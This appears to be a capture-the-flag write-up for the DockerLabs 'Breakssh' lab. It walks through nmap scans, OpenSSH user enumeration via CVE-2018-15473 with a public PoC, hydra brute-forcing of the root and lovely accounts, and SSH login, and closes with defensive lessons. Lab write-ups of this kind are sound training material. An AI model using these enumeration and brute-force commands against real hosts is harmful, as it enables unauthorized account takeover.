the_open_door
coffee
ESEN

Breakssh

DockerLabsEasyLinux172.17.0.2

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#dockerlabs#ssh#user-enumeration#cve-2018-15473#brute-force#hydra
TL;DR. Breakssh is a single-service box: an SSH with a version vulnerable to user enumeration (CVE-2018-15473). Telling apart, by response time, which users exist (only root and lovely have a shell) shrinks the attack space, and a hydra brute force hands over their passwords. With them you log in over SSH. The whole challenge lives on port 22.

Recon

Initial scan

The port scan leaves a single open port: SSH.

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open <ip>
PORT   STATE SERVICE
22/tcp open  ssh
nmap -p22 -sCV <ip> -oN targeted
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH (< 7.7)

The OpenSSH version is older than 7.7, the range affected by CVE-2018-15473.

Access: SSH user enumeration

CVE-2018-15473

In OpenSSH < 7.7 the server takes a different amount of time to respond depending on whether the user is valid or not: for an existing user it processes the (fake) public-key authentication and answers later; for a non-existent one it cuts off sooner. Measuring that difference tells a valid user from an invalid one, which lets you enumerate them without credentials. We use Sait-Nuri's public PoC:

git clone https://github.com/Sait-Nuri/CVE-2018-15473
python3 sshUsernameEnumExploit.py --port 22 --userList <userlist.txt> <ip>

Against a large list several "valid" users appear (the system recognises them), but only those with an assigned shell are truly usable accounts. On this box they are root and lovely.

Exploitation: hydra brute force

Knowing which users exist, there is no need to try the password against a whole user list: each valid account is attacked directly with hydra. With -l we fix the user and hydra only iterates the password wordlist:

hydra -l root   -P <rockyou.txt> ssh://<ip> -t 4
hydra -l lovely -P <rockyou.txt> ssh://<ip> -t 4
[22][ssh] host: <ip>   login: root     password: <password>
[22][ssh] host: <ip>   login: lovely   password: <password>
The -l parameter fixes a single user (faster); -L <list> would try a user file. With the names already confirmed by enumeration, -l is the efficient choice.

With the credentials, the SSH connection gives direct access:

ssh root@<ip>
# or
ssh lovely@<ip>

root hands over the machine right away; lovely serves as an unprivileged user foothold.

Attack chain

SSH (OpenSSH < 7.7)  ->  CVE-2018-15473 (timing enumeration)
    └─> users with a shell: root, lovely  ->  hydra (per-user brute force)
            └─> credentials  ->  ssh  ->  access (root)

Lessons learned

  • An old OpenSSH version leaks its user list. CVE-2018-15473 grants no access on its own, but it turns a blind brute force into an attack aimed at accounts known to exist.
  • Enumerating before brute forcing saves time. Fixing the user with -l avoids multiplying each password by every user in the list.
  • Only accounts with a shell count. Enumeration marks many system users as "valid"; the usable ones are those with /bin/bash (or similar) in /etc/passwd.
  • Exposed SSH with weak passwords is still the simplest vector. Updating OpenSSH and enforcing key-based authentication would have closed both steps.
Command cheatsheet 6 commands

Quick review